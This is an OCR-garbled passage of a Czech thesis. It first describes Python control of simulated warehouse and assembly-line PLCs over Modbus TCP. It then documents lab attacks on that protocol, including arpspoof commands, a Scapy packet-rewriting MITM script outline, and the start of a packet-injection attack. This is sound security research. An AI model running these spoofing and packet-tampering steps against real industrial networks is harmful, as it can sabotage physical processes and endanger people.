
3.4 Scénar cislo 1 — Inteligentni sklad

Jako prvni prumyslovy scénaf jsme realizovali inteligentni sklad [26]. Sklad m4a na vstupnim
dopravniku baliky, které, pokud méa volnou prihradku, uskladni, jinak je posle na vystupni
dopravnik. Hlavnim fidicim prvkem inteligentniho skladu je tzv. stohovaci jerab. Jefab
zajistuje nalozeni a vylozeni baliku pomoci vysouvatelné vidlice, dale také doruceni baliku
do prislusné prihradky skladu, viz obrazek 3.8.

Stohovaci jefab se pouziva k presunu tézkych véci. Jeho soucasti jsou dvé vidlice, které
se mohou vysunout na obé strany a nalozit ¢i vylozit tak naklad. Jerab mize byt ovladan
tTfemi zpisoby: digitalné, ¢iselné, nebo analogové. Pro vSechny tyto zpusoby je princip stejny,
jerab se muzeme presunout na libovolnou pozici skladu, tedy mista jedna az padesat ¢tyri,
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jelikoz mé sklad rozméry 9x6 prihradek. Je zde jesté jedna extra pozice navic, a to ta, ve
které se jerab nachazi ve vychozim stavu, coz je misto, kde se nabird naklad. Jefdb ma tedy
padesit pét (9x6+1) moznych mist na které se muze premistit [26].

Vidlice stohovaciho jerabu, méa tfi prikazy: vysunuti vpravo, vysunuti vlevo a nadzved-
nuti. Jsou-li hodnoty ve vychozim stavu, tedy v logické nule, je vidlice v klidné pozici dole.
Chceme-li nastavit nadzvednuti a vysunuti vpravo, tak tyto dvé hodnoty musime nastavit
na logickou jednicku.

Déle je tady jedno ¢idlo pohybu, které zaznamena, ze je néklad ptipraven k vyzvednuti
jefdbem na vstupnim pése. Ctyii pohyblivé pasy, pri¢emz dva z nich maji mezeru, aby se z
nich pomoci vidlice dal vyzvednout naklad. Zadna ¢idla pro evidenci skladu nejsou potieba,
jelikoz si program interné uklada stav skladu pomoci stavové matice o rozmérech 9x6.

Obrazek 3.8: Inteligentni sklad

Jelikoz se stohovacim jerdbem pracujeme v digitdlni rezimu, tedy dokdzeme mu pres
GPIO predat jenom logickou jednicku a logickou nulu, tak na vyjadreni jeho padesati péti
stavi potfebujeme Sest bitl, neboli Sest digitalnich vystupt. MSB (most significant bit) je
na portu ID2 a LSB (least significant bit) je na portu IDO0, viz obrézek 3.9. Prvni pfiradka
skladu je reprezentovand hodnotou jedna (pfihrddka 1.1 na obriazku ¢islo 3.8), posledni
hodnotou padesét ¢tyti (prihradka 9.6 na obrazku ¢islo 3.8) a prechod do vychoziho stavu
m4é specidlni hodnotu padesat pét [26].

Mapovani vstupti a vystupt na zarizeni PLC

Na nésledujicim schématu ¢. 3.9 je ukdzano napojeni Factory I/O vstupu a vystupu na
zarizen{ Advantech, pficemz propojeni s UniPi PLC je na obrazku ¢islo 3.7. Na obrazku 3.9
mizeme vidét dvé virtualni zarizeni, kterymi jsou 4750 a 4704. Chceme-li pripojit néjaké
zarizeni jako je senzor nebo dopravnik musime ho pritadit ke konkrétnimu portu téchto
zarizeni. Muzeme si vSimnout, Ze se zde nachazi Sest hodnot pro definici pozice jerabu
konkrétné na portech IDI2-IDI3 a IDIS-IDI11, kde port IDI11 je MSB a port ID2 je LSB,
jeden senzor pohybu na portu IDO9Y, t¥i hodnoty pro praci s vidlici jefdbu. Zvednuti jerabu
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na DI6, vysunuti na DI5 a zasunuti na DI7, a ¢tyfi hodnoty pro pohyb dopravniku na
DIO-DI3.

Device Number

DISCONNECT

1] w

DISCONNECT

DO0
D01
Stacker Crane 1 Target

Stacker Crane 1 Tarc

Stacker Crane 1 (Right)
Stacker Crane 1 Lift

Stacker Crane 1 (Left)

FACTORY I/0 (Running)

Diffuse Sensor 1

FACTORY I/O (Paused)

Obrazek 3.9: Schéma zapojeni automatického skladu

Implementacni logika inteligentniho skladu

Program inteligentniho skladu je implementovan v jazyce Python3. Vyuziva nasi tfidu class
Plc. Kazdé zafizeni UniPi je instanci této tfidy. Dale jsme vytvorili tfidu reprezentujici
sklad, kterd vyuziva knihovny NumPy'4. NumPy je matematickd knihovna, kterd ndm pro
nas projekt poskytuje datovy typ matice a metody pro préci s ni [?]. Princip je pak jed-
noduchy. Pri konstrukci matice naplnime matici logickymi nulami, a v pripadé zasunuti
baliku do ptihradky skladu, zménime logickou hodnotu dané prihradky na jednicku. Tiida
reprezentujici sklad vypada néasledovné:

## Vizualizace Matice:
# [0,0] [0,1] ... [0,8] ma soutadnicich [0,0] se machdzi prihrdidka vlevo na hote
[1,0] [1,1] ... [1,8]

[5,0] [5,1] ... [5,8] na soutadnicich [5,8] se machdazi prihrddka vpravo dole
class Warehouse:
# Konstruktor tridy Warehouse
def __init__(self):

# VytvorT? matici o rozmérech 6x9 a naplni ji logickymi nulami

Y“https://numpy.org/ [cit. 2022-12-7]
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self .matrix = numpy.full((6, 9), False)

Mame-li pravé instanciovany sklad o rozmérech 9x6 a provedeme vlozeni do skladu po-
moci metody ware.moveToEmpty (), tak se ndm matice reprezentujici vnitini stav skladu

zmén{ nasledovné:

O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O OO
4
O OO OO

O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O oo
O OO O OO

Sklad se zaplnuje od nejvyssi fady postupné smérem dolt.
Cely program inteligentniho skladu se odehrava v nasledujicim cyklu, ktery je aktivni

dokud je zapnuty program Factory 1/0:

while plcs[2].di0 == True: # Dokud bézZi program Factory I/0

while plcs[2].dil == False: # Posouvej balik po

dopravniku, dokud nedojede k senzoru

ples[1] .writeMultipleDo([True, True, True, True], PAUSE)

plcs[2] .updateDi()

# NaloZeni baliku ma vidlic?t

plcs[0] .writeDoNoClear (0, PAUSE_LONG, True) #
plcs[0] .writeDoNoClear (1, PAUSE_LONG, True) #
plcs[0] .writeDoNoClear (O, PAUSE_LONG, False) #

# Metoda tTidy Warehouse, ktera presune jeradadb k

ware.moveToEmpty (plcs)

# VloZent baltku do skladu

plcs[0] .writeDoNoClear (2, PAUSE_LONG, True) #
plcs[0] .writeDoNoClear (1, PAUSE_LONG, False) #
plcs[0] .writeDoNoClear(2, PAUSE_LONG, False) #

Vidlice vpravo
Vidlice nadzvednout

Vidlice zpét

volné prihrddce

Vidlice vlevo
Vidlice dolu
Vidlice zpét

ware.zeroPosition(plcs) # Vrat jevab do wvychozi pozice

ples[1] .updateDi() # Aktualizuje digitalni vstupy

Program mé aktivni vstupni dopravnik do té doby, nez se ndklad dostane k vidlici sto-
hovaciho jerdabu. Poté vidlice ndklad nalozi a v pripadé, ze je ve skladu volné misto, tak
se stohovaci jerab k tomuto mistu premisti a vidlice zase naklad vylozi. Pokud sklad volné
misto nem4, tak metoda moveToEmpty () necha jerab ve vychozi pozici a balik se jen pomoci
vidlice presune na vystup. Metoda moveToEmpty () provadi pomérné komplexni prepocet
soufadnic prihradek skladu na vystupni kombinaci logickych nul a jednicek, které se po-
Slou na Sest digitalni vystupu a zdroven zaznamenava aktualni stav skladu, nebo-li zméni
hodnotu v matici na logickou jednicku, pokud se néjaka prihradka zaplni.
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3.5 Scénar cislo 2 — Montazni linka

Jako druhy prumyslovy scénaf jsme realizovali montdzni linku [26]. Pro montazni linku
plati, Ze vyuziva stejné zapojeni zarizeni PLC a stejné schéma sité jako inteligentni sklad
viz kapitola ¢. 3.3. Smyslem montazni linky je spojit urcité soucastky do jedné a vytvorit
tak vyrobek. Tyto soucastky se generuji na vstupu a dopravniky je posouvaji smérem na
vystup. Montazni linka viz obrazek 3.10 pracuje s dvémi soucastkami, zakladnou a vikem.
Ty pomoci dvouosové robotické ruky a dvou svorek (clamp) spoji do jednoho dilu. Viko je
na strané robotické ruky a priklada se nahoru na zakladnu.

Robotickd ruka ma tii ridici prikazy: Posun se po ose Z, posun se po ose Y a uchop
predmét. Tyto piikazy mtzeme libovolné kombinovat. V nasem piipadé se snazime pomoci
robotické ruky vzit viko, presunout ho nad zdkladnu a spojit tyto dvé soucastky. Svorky
se daji pouze uvolnit, seviit a nebo nadzvednout pro volny prichod. Svorky nam slouzi
k tomu, aby byly obé soucastky pevné umistény na presném misté. Déle zde figuruji dva
senzory pohybu, jenz nam rikaji, ze jsou obé soucastky na misté, a dva dopravniky pro
posun predmeéti.

roboticka ruka

Ssenzory
pohybu

Obrazek 3.10: Montazni linka

Mapovani vstupt a vystupt na zarizeni PLC

Na nésledujicim schématu je ukdzéno napojeni Factory I/O vstupu a vystupu na zarizeni
Advatech, pricemz propojeni s UniPi PLC ztstava stejné jako u inteligentniho skladu, viz
obrazek 3.7. Mizeme si povSimnout, ze se zde nachazi t¥i hodnoty pro praci s robotickou
rukou, témi jsou uchopeni predmétu na DI1, pohyb po ose X na DI2 a pohyb po ose Z
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na DI3. Dvé hodnoty pro praci se senzory na IDO9 a IDO10, které indikuji, ze soucastky
dorazily na misto. Dvé hodnoty pro dopravniky na IDIO a IDI1 a dvé hodnoty pro sevieni
svorek na IDI2 a IDI3.

Device Number Device Number

0 ~

DISCONNECT DISCONNECT

Dio Pos. raise (bases)

Clamplid

FACTORY I/O (Running)

Obrazek 3.11: Schéma zapojeni montazni linky

Implementacni logika

Montéazni linka opét vyuziva nasi tiidu P1c. Logika programu je trivialni. Na vstupu se nam
generuji souc¢astky viko a zdkladna, a my je po dopravniku posouvame, dokud nedojdou k
senzorum pohybu. V tomto misté se musi aktivovat polohovadla, ktera daji viko a zdkladnu
na presné dané misto. Poté robotickd ruka presune viko na zakladnu a vrati se na ptuvodni
misto. Polohovadla uvolni cestu vysledné soucéstce a ta jde po dopravnicich na vystup.
Tento proces se neustalé opakuje.

while plcs[2].di0 == True: # Dokud bézZi program Factory I/0
# Pohyb dopravniku dokud obé souldstky nedoputuji k polohovadlim
while plcs[1].dil == True or plcs[1].di2 == True:
if ples[1].dil == 0 and plcs[1].di2 == 0: # viko 7 zdkladna dorazily
plecs[2] .writeMultipleDo([False, False, True, True], PAUSE)
elif plcs[1].dil == 1 and ples[1].di2 == 0: # wiko dorazilo
plecs[2] .writeDo(3, PAUSE, True)
elif plcs[1].dil == 0 and ples[1].di2 == 1: # zdkladna dorazila
plcs[2] .writeDo(2, PAUSE, True)
ples[1].updateDi()

# Sevren? vika a zdkladny v polohovadlech

plcs[2] .writeMultipleDoNoClear([True, True, False, False], PAUSE_LONG)
plecs[2] .writeMultipleDoNoClear([False, False, True, True], PAUSE)
plecs[2] .writeMultipleDoNoClear([False, False, False, False], PAUSE)
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plcs[0] .writeDoNoClear (0, PAUSE_LONG, True) # Pohyb Z dolu
plcs[0] .writeDoNoClear (2, PAUSE, True) # Uchop ptedmét
plcs[0] .writeDoNoClear (0, PAUSE_LONG, False) # Pohyb Z nahoru
plecs[0] .writeDoNoClear (1, PAUSE_LONG, TRUE) # pohyb X
plcs[0] .writeDoNoClear (0, PAUSE_LONG, True) # Pohyb Z dolu
plcs[0] .writeDoNoClear (2, PAUSE, False) # wvolni uchop

# Vraceni robotické ruky do pivodni pozice
plcs[0] .writeDoNoClear (0, PAUSE_LONG, False) # Pohyb Z nahoru
plcs[0] .writeDoNoClear (1, PAUSE_LONG, False) # Pohyb X zpét

plcs[0] .writeDoNoClear (3, PAUSE_LONG, True) # Zvedni Polohovadla
# zapni Dopravniky

plecs[2] .writeMultipleDo([False, False, True, True], PAUSE_LONGEST)
plcs[0] .writeDoNoClear (3, PAUSE_LONG, False) # poloZ polohovadla
plcs[0] .updateDi()

3.6 Shrnuti

Tato kapitola vysvétluje jak simulovat priimyslové procesy pomoci simuldtoru Factory 1/O°
v kombinaci s zaf{zenimi UniPi'® a zdrojovymi kédy v jazyce Python s vyuzitim knihovny
pyModbusTCP.

Zatizeni UniPi jsou programovatelnymi zafizenimi PLC a v pramyslové siti Modbus
mohou zastupovat roli slave. Cehoz je docileno tak, Ze na nich bézi proces Modbus TCP
serveru. Server ¢ekad na dotazy od zafizeni typu master. Zarizeni master vytvari logiku
pomoci zdrojovych kbédu v jazyce Python.

Simuléator Factory 1/0O je 3D simula¢ni program, ktery nam poskytuje grafickou vizuali-
zaci prumyslovych procest a lze jej propojit se zarizenimi PLC, ktera tyto procesy ovladaji.

V této kapitole jsou déle popsany implementace dvou konkrétnich priumyslovych pro-
cest. Véetné jejich fyzického, logického zapojeni a sitové konfigurace zafizeni. Prumyslovymi
procesy jsou inteligentni sklad a montazni linka.

https://docs.factoryio.com
https://www.unipi.technology/unipi-neuron-s103-p93
"https://pypi.org/project/pyModbusTCP/
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Kapitola 4

Implementace itokil na protokol
Modbus TCP

V této kapitole se budeme zabyvat implementaci péti ruznych ttoka na protokol Modbus
TCP. Konkrétné se jedna o itok typu Man-in-the-middle, injektovani pakett, itok prehrani,
DoS utok a preruseni TCP spojeni. Kazdy z téchto itokd bude nejprve podrobné popsan
a nasledné implementovan s cilem ovérit jeho ucinnost. V zavéru kapitoly budou shrnuty
vysledky a provedena klasifikace itokt podle globalni databaze atoki MITRE ATT&CK.

4.1 Man-in-the-middle ttok

V utoku typu Man-in-the-middle se tutoé¢nik infiltruje jako prostiednik mezi dvéma, nebo
vice uzivateli, sifovymi sluzbami ¢i stanicemi. Uzivatelé si nejsou védomi, zZe jejich komu-
nikace prochézi pies tohoto prostfednika. Utoénik mize bud pasivné ziskavat informace z
komunikace, ktera pres néj proudi, nebo muze aktivné pozménovat data ¢i jinak narusovat
komunikaci [11].

V nasi implementaci MITM (Man-in-the-middle attack) bude tto¢nik pozménovat data
mezi zafizenim master a jednim ze zafizeni typu slave, a to bez jejich védomi. Pro ziskani
pozice prostFednika komunikace vyuzijeme zndmou techniku ARP (Address Resolution Pro-
tocol) spoofingu, kterd spoc¢iva v tom, Ze koncovym stanicim podvrhneme falesné informace
do jejich ARP tabulek.

ARP Spoofing

ARP Spoofing je metoda MITM. Utoénik se zde snazi podvrhnout svou MAC adresu do
ARP tabulek obéti [13].

Pro ARP spoofing itoénik v podstaté potiebuje znat jenom IP adresy svych obéti. Ty
muze zjisti pomoci zprav ICMP, nebo pomoci odposlechu sité [13].

V nasi implementaci ARP spoofingu musi Gto¢nik kromé IP adres obéti také znat jejich
MAC adresy, aby dokazal vhodné pozménit zdrojové a cilové MAC adresy ramcu, které
skrze néj budou prochazet. Ty muze ziskat pomoci odeslani zpravy ARP request, ktera se
zasle na vSechny stanice v dané LAN siti. Obéti na tuto zpravu odpovi zpravou ARP replay.
V této odpovédi se nachizi MAC adresa obéti namapovand na IP adresu obéti. Druhym
zpusobem je ziskdni MAC adresy pomoci odposlechu sité [13].

Druhym krokem ARP spoofingu je podvrzeni falesné informace do ARP tabulek obéti.
K tomu se vyuzivaji zpravy ARP replay [13]. Pfiklad dotazu muzeme vidét na obrdzku

23



Cislo 4.1. Stanice 192.168.88.252 se pté, kdo ma IP adresu 192.168.88.200. Paket dorazi na
vSechna zafizeni kromé zarizeni, které paket odeslalo, jelikoz se jedna o broadcast s cilovou
MAC adresou FF:FF.FF:FF:FF:FF.

1. Who has 192.168.88.2007 tell 192.168.88.252

192.168.88.252 192.168.88.200
b8:27:eb:1e:08:59 1c:69:7a:08:86:1a
=)
- 4—_>
R

— >

Utoénik

8c:04:ba:08:73:03

Obrazek 4.1: ARP request zprava

Na tento dotaz by typicky odpovédélo jen jedno zafizeni, v nasem pripadé stanice
192.168.88.200. Utoc¢nik vsak udéla to, ze také posle odpovéd ARP reply, a v podstaté
se tim prohlasi za vlastnika IP adresy 192.168.88.200, jak mtzeme vidét na obrazku c¢islo
4.2.

2.192.168.88.200 is at 1¢:69:7a:08:86:1a
3.192.168.88.200 is at 8¢:04:ba:08:73:03

192.168.88.252 192.168.88.200
b8:27:eb:1e:08:59 1c:69:7a:08:86:1a
=
<
<
ﬁ |
Utoénik

8c:04:ba:08:73:03

Obrazek 4.2: ARP reply zprava

Jakym zptsobem koncové zafizeni zpracuje dvé ARP reply zpravy s rozdilnou MAC
adresou neni presné definovano v RFC 826, to popisuje protokol ARP. Reakce na dvé ARP
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replay zpravy s rozdilnou MAC adresou se tedy miize lisit v riznych implementacich, ale v
nasem testovacim prostiedi zarizeni Windows i Linux NeuronOS ulozily do ARP tabulky
vzdy posledni ARP replay zpravu a predchozi ignorovaly.

Tohoto chovani vyuziva program pro podvrzeni ARP informaci Arpspoof!, ktery jsme
pro nas ARP spoofing utok vyuzili. Tento program vyuziva jesté jednoho mechanizmu, kdy
kromé odpovédi na dotazy zaroven cyklicky posila ARP reply zpravy, které slouzi k aktu-
alizacim ARP tabulek. Fungovani cyklicky zasflanych zprav miizeme vidét na nasledujicim
pseudokodu.

# Program cyklicky posila ARP reply zprdvy na vSechny obéts.
# tyto zprdavy obsahuji utoclnikovu MAC adresu
while True:
send_arp_response("192.168.88.200" is at "1C:69:7A:08:86:1A")

wait (2 sec)

Timto zptusobem se v ARP tabulce obéti tto¢nikova MAC adresa asociuje s IP adresou
192.168.88.200. To znamend, ze kazdy paket, ktery bude chtit stanice poslat na adresu
192.168.88.200, ve skutecnosti pijde na stanici utoc¢nika.

Implementace ttoku

Cil nasledujiciho ttoku lze vidét na obrazku ¢islo 4.3. Jako ttoénik budeme chtit podvrh-
nout ARP tabulky zafizeni slave a master, aby veskera komunikace mezi témito zarizenimi
v obou smérech §la skrze to¢nika. Utoénik pak bude pozmétiovat data v paketech Modbus
TCP. Ke zméné dat bude dochéazet jak v dotazech, tak odpovédich, aby obéti nepoznaly,
ze dochazi k néjakym zménam dat.

Master
192.168.88.251 Senzor

b8:27:eh:1e:08:59 192.168.88.200
1c:69:7a:08:86:1a

TLLL]
C\_.. - 1. » 3.
- ll-l: - «
54—FE =)

Senzor

=
o et
7

Dopravnik

= =

Utoénik
8c:04:ha:08:73:03

Obrazek 4.3: Man-in-the-middle utok

'https://manpages.ubuntu.com/manpages/bionic/man8/arpspoof.8.html [cit. 2023-2-11]
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Spusténi ARP spoofingu

Prvné je potreba provést ARP spoofing. V piipadé, ze by utoc¢nik mél zapnuty IP forwar-
ding, utok nefungoval. IP forwarding primarné slouzi, proto abychom mohli fungovat jako
smeérovaC na linuxovych zarizenich, coz znamend preposilat pakety mezi riznymi sitovymi
rozhranimi podle pravidel ve smérovaci tabulce. Problém s IP forwardingem je, Ze se pak
zarizeni divd do informaci v IP hlavickach, a hned se pokousi odeslat pakety skutecnym
vlastnikim, protoze nejsou uréeny pro néj [1]. Jelikoz my potiebujeme pakety modifikovat,
musime IP forwarding vypnout na zafizeni, jenz se pouziva k ttoku, a poté zajistit posilani
pakett sami. Vypnout IP forwarding mizeme nasledujicim piikazem.

sudo sysctl net.ipvé4.ip_forward=0
Nésledné provedeme ARP spoofing pomoci difve zminéného programu Arpspoof? na-
sledujicimi ptikazy:
arpspoof -i eno2 -t 192.168.88.250 192.168.88.252 &
arpspoof -i eno2 -t 192.168.88.252 192.168.88.250 &

Za parametrem -t je IP adresa zafizeni na které itocéime a poté nasleduje IP adresa, za
kterou se tto¢nik bude vydavat. Utoc¢nik nyni odpovida na dotazy ve tvaru:

Who has 192.168.88.200 tell 192.168.88.252
Who has 192.168.88.252 tell 192.168.88.200

A zaroven cyklicky kazdé dvé vteriny vysila do sité informace o tom, ze on je vlastnikem
IP adres 192.168.88.200 a 192.168.88.252:

192.168.88.200 is at 8c:04:ba:08:73:03
192.168.88.252 is at 8c:04:ba:08:73:03

Pred ttokem vypadala ARP tabulka zarizeni master nasledovné:

master-zarizeni:

Internet Address Psychical Address  Type

192.168.88.251 B8-27-EB-40-5C-60 dynamic
192.168.88.252 B8-27-EB-1E-08-59 dynamic
192.168.88.255 ff-ff-ff-ff-ff-ff static

A po spusténi programu arpspoof se nahradi MAC adresa IP adresy 192.168.88.252 dtoc¢-
nikovou nasledovné:

master-zarizeni:

Internet Address Psychical Address  Type

192.168.88.251 B8-27-EB-40-5C-60 dynamic
192.168.88.252 8C-04-BA-08-73-03 dynamic
192.168.88.255 ff-ff-ff-ff-ff-ff static

Podobné to vypada na zafizeni slave, kde ARP tabulka s podvrzenym tidajem vypada takto:

*https://manpages.ubuntu.com/manpages/bionic/man8/arpspoof.8.html [cit. 2023-2-11]
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slave-zarizeni:

Internet Address Psychical Address  Type

192.168.88.250 8C-04-BA-08-73-03 dynamic
192.168.88.251 B8-27-EB-40-5C-60 dynamic
192.168.88.255 ff-ff-ff-ff-ff-ff static

Nyni jsme docilili toho, ze veskerd komunikace mezi zarizenimi slave 192.168.88.252 a mas-
ter 192.168.88.200 pujde pres stanici uto¢nika, a ten muize tuto komunikaci zahazovat,
odposlouchavat ¢i modifikovat.

Spusténi Gtoku

Samotny utok, ktery méni data paketit Modbus TCP, je naprogramovany v jazyce Python
s vyuzitim knihovny Scapy?.

Prvné je potfeba nastavit konstanty v programu mima.py. Je nutné nastavit IP a MAC
adresy obéti, MAC adresu utocnika, jenz chceme podvrhnout do ARP tabulek obéti, sitové
rozhrani, kterym je ito¢nik pripojeny na dané prumyslové siti. Déle je zde jedna specialni
konstanta MODIFY_NTH_PACKET, ta definuje, ze budeme modifikovat kazdy n-ty Modbus
TCP paket, coz mize mit razné dusledky na pramyslovy scénar. Napiiklad, kdyz budeme
editovat data kazdého paketu, projevi se chyba v prumyslovém scénaii zjevné, ale pokud
budeme modifikovat napriklad jen kazdy sty paket, chyba se mtze nebo nemusi projevit.

MODIFY_NTH_PACKET

2 # Modifikuj data kaZdého druhého Modbus TCP paketu

listen_interface = "eno2" # Sitové rozhrant na, kterém provadime utok
real_master_ip = '192.168.88.250' # IP adresa zaTizeni master
slave_ip = '192.168.88.252' # IP adresa zaTizeni slave

real_master_mac = '1c:69:7a:08:86:1a' # MAC adresa zarTizeni master
'b8:27:eb:1e:08:59"' # MAC adresa zarTizeni slave
'8c:04:ba:08:73:03"' # MAC adresa udtocnika

slave_mac
MIM_mac

Poté uz staci jen spustit ttok. Program musime spoustét s rootovskymi pravy, jelikoz
pracuje s raw schrankami.

sudo python3 ./mima.py

Fungovani ttoku

Princip programu je velice jednoduchy. My si jej vysvétlime na nasledujicim pseudokddu,
jenz je zjednodusenou verzi skuteéného kédu programu mima. py.

Nejdrive odchytneme paket pomoci Scapy funkce sniff (). Nésledné ovérime zda-li se
jednd o Modbus TCP paket mezi zafizenimi slave_ip a real_master_ip tuto operaci
vyjadfujeme funkci check_if_packet_is_modbus().

*https://scapy.net/ [cit. 2023-2-11]
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Slave 1 P 2
192.168.88.252 : . 04U;°°0';k73 o : Master
C:04:pa:08:73:
b8:27:eb:1e:08:59 192.168.88.200
| Modbus TCP paket | | Modbus TCP paket |  1c:69:7a:08:86:1a
LLLLL src MAC: b8:27:eb:1e:08:59 src MAC: 8c¢:04:ba:08:73:03
JammE | | dst MAC: Bc:04:ba:08:73:03 @ dst MAC: 1¢:69:7a:08:86:1a o
= = 7| srcip:192.168.88.252 -. st IP; 192.168.88.252 ”
TTTTT dst IP; 192.168.88.200 dst IP; 192.168.88.200 —
| data: XY | | data: XZ

Obrazek 4.4: Man-in-the-middle pozménéni paketu

Niésledné utocénik zméni zdrojovou a cilovou MAC adresu, zptusobem, ktery mizeme
vidét na obrazku &slo 4.4. Utoénik v pivodnim paketu nastavi zdrojovou MAC adresu na
svou vlastni, aby tdaj korespondoval s podvrzenymi informacemi v ARP tabulkéich obéti, a
zaroven zmeéni cilovou MAC adresu, protoze jinak by paket nedorazil skute¢nému ptijemci.

Ve findle uz sta¢i jenom pozménit data Modbus TCP, prepocitat kontrolni soucet hla-
vicky TCP a odeslat pozménény paket. Timto jsme realizovali ttok MITM.

# VytvoTeni raw socketu pres, ktery se budou odesilat pozménéné pakety

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)

# Funkce sniff() odposlouchd pakety na naSem sitovém rozhrani a pro kazZdy paket
# vola funkci handle_packet()

sniff (iface=listen_interface, prn=handle_packet)

def handle_packet(packet):
# Kontrola zda-l1i se jedna o Modbus TCP paket mezi obétmi
if check_if_packet_is_modbus(packet) == False:

return

# Nastaveni vhodnych MAC adres

if packet[Ether] .src == slave_mac:
packet [Ether] .src = MIM_mac
packet [Ether] .dst

elif packet[Ether].src == real_master_mac:

MIM_mac

slave_mac

real_master_mac

packet [Ether] .src
packet [Ether] .dst

# Zména dat paketu Modbus TCP
packet = change_packet (packet)

# Vygpocet nové TCP checksum a odesldni paketu
packet = update_tcp_checksum(packet)
s.send (bytes (packet))

Nasledky atoku

V obou pramyslovych procesech jsou nasledky vétsinou podobné. V montazni lince dochazi
k tomu, zZe se naptiklad nezvedne posuvnik, kdyz ma, nebo, ze rameno vibec nefunguje.
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To mize zplisobit nasledujici selhani montazni linky, jenz mizeme vidét na obrazku 4.5.
Skody samoziejmé zalezi na tom, jak ¢asto modifikujeme Modbus TCP pakety. V pifpadé,
ze modifikujeme paket jen jednou za 30 sekund, muze se v piipadé montazni linky napiiklad
nepovést zhotovit jednu soucastku za 30 sekund, ale linka jinak funguje relativné bezpro-
blémové, coz mize mit pro obét jesté horsi nasledky, jelikoz se tézko detekuje, kde a kdy
dochazi k chybé.

Obrazek 4.5: Nasledky MITM ttoku

Podobné to je i s inteligentnim skladem. Pokud v automatickém skladu modifikujeme
velké mnozstvi paketti, tak naprosto prestane fungovat. Chceme-li vSak modifikovat pakety
jen obcasné, muze se v prumyslovém scénaii obcasné stat, ze se automatické rameno snazi
vlozit balik do zabrané burnky, coz zpusobi vytlaceni pavodniho baliku.

Srovnani s existujicimi fesenimi
Pri implementaci MITM ttoku byla provedena reserse nékolika dostupnych feseni, ktera se
zabyvaji timto Gtokem na Modbus TCP sité.

Veskeré prace, které se zabyvaji MITM na Modbus TCP, spojuje vyuziti ARP spoofingu
pro ziskani pozice prostiednika komunikace.

Tato préace, na rozdil od vétsiny praci, prinasi detailnéjsi vysvétleni ttoku a problému
spojenych s timto Gtokem. Nas program zaroven umoznuje parametrizovat intenzitu modi-
fikace Modbus TCP.
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V ¢lanku [9] implementovali MITM 1tok velice podobné. Nicméné, existuji nékteré roz-
dily v pouzitych simula¢nich nastrojich pro vytvoreni testovaciho prostfedi a v celkovém
schématu sité. V tomto ¢lanku se zarizeni slave a master nachézeji v rozdilnych sitich. Mod-
bus Prikazy zde musi byt posilany pres vychozi branu. ARP spoofing se v tomto ¢lanku
provadi mezi vychoz{ branou a zafizenim master, pricemz k tomuto tcelu byl pouzit nastroj
ethercap. Hlavnim rozdilem v implementaci atoku je, ze v tomto ¢lanku po tspésném ARP
spoofingu byly vytvareny nové Modbus TCP pakety a ty byly vkladany do komunikace.
Oproti tomu, nase prace pozménovala data v paketech, jenz se na siti jiz vyskytovaly, coz
muze byt nadroénéjsi na detekci, nebof provoz protokolu Modbus TCP zustava stejny. Dal-
$im drobnym rozdilem je, ze v ¢lanku vklddali do komunikace pakety typu Write register,
zatimco nase implementace manipulovala s pakety typu Write single coil.

V préci [28] je realizace ttoku velmi podobnd. Vyuziva se zde zajimavého existujictho
nastroje qModMaster? pro vkladani Modbus TCP pakett a analjzu Modbus komunikace.
Stejné jako v nasi praci, i zde se pakety pouze modifikuji po cesté k cili. Problémem s touto
implementaci je, ze pouze nastavi veskera data vSech prikazi Write na hodnotu OxFF00 a
nepokousi se sofistikované ménit jen nékteré pakety.

Prace [6] popisuje realizaci MITM prostiednictvim konceptudlniho modelu dto¢ného
stromu, ktery algoritmicky popisuje postup utok. Tato prace se z pohledu realizace ttoku
prilis nelisi od ostatnich praci, avsak poskytuje informace o vice alternativnich nastrojich
pro specifické kroky utoku.

V préci [24] se pro titoky vyuziva existujici penetraéni nastroj Smod®, coz je open-source
nastroj implementovany v jazyce Python s vyuzitim knihovny Scapy. Tento program posky-
tuje sirokou skdlu Modbus TCP tutoki a zaroven poskytuje diagnostické nastroje. Soucasti
tohoto programu je tutok MITM pomoci ARP spoofingu. Problém s timto penetra¢nim na-
strojem je, ze obé verze maji syntaktické chyby a program za béhu selze. Zaroven modul
sice poskytuje ARP spoofing, ale nelze zde nijak nastavit modifikaci paketi, které skrze
utoc¢nika prochazi.

4.2 Vkladani pakett (Packet Injection)

Injektovani paketd je metoda, ptfi niz Gtocnik vklada do sité skodlivé pakety nebo pakety,
které mohou vytvafet zbyteénou zatéz v siti [12]. Z pohledu TCP to znamend, Ze musime
vlozit paket do existujictho TCP spojeni.

Injektovani skodlivych paketti do Modbus TCP sité neni tiplné trivialni proces, jelikoz
nam ho komplikuji mechanizmy TCP jako jsou sekvencéni ¢isla a kontrolni soucty. To, jak
funguje TCP v Modbus TCP komunikaci, je vice popsano v kapitole ¢islo 2.1.

Implementace ttoku

Pro nasi realizaci ttoku je nezbytny odposlech sité. Utoénik musi odposlouchdvat komu-
nikaci mezi zafizenimi slave a master, a to z toho divodu, aby dokazal odhadnout Seq a
Ack ¢&sla TCP spojeni mezi témito aktéry a dokdzal do tohoto spojeni vlozit paket. Utok je
naprogramovany v jazyce C. Princip utoku je jednoduchy a mizeme jej vidét na obrazku
¢islo 4.6. Tento obrazek je zjednodusenym sekvencnim diagramem programu, kde nékteré
detaily zanedbdavame. Tento sekvenéni diagram také zobrazuje dva pakety, které oba patri

“https://github.com/zhanglongqi/qModMaster [cit. 2023-3-11]
®https://github.com/theralfbrown/smod-1 [cit. 2023-3-11]
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k uré¢ité funkci a ukazuji nam priklad toho, jak program méni obsah urcitého paketu, aby
vytvoril skodlivy paket.

rawSoc = createRawSock()
X . checksum:
seq num: 100 ack num: 200 0x4269
Y
openlntForSniff() lancacron]ib: Protocol ID: 0| | Lenght: 6 Unit ID: 1
46000
Function Code: 5 DATA: 0x0000
Y
—»|  mPacket = findModbusPacket()
seq num: 148 ack num: 248 CEEENIE
e : 0XFA30
Y

generateMaliciousPacket(mPacket)
Transaction ID:
16844

Protocol ID: O | Lenght: 6 Unit ID: 1

\ 4 Function Code: 5 DATA: OxFF00

— write(rawSoc, mPacket)

Obrazek 4.6: Injektovani pakett

Nejprve je potfeba vytvorit raw socket pomoci createRawSock() a inicializovat sitové
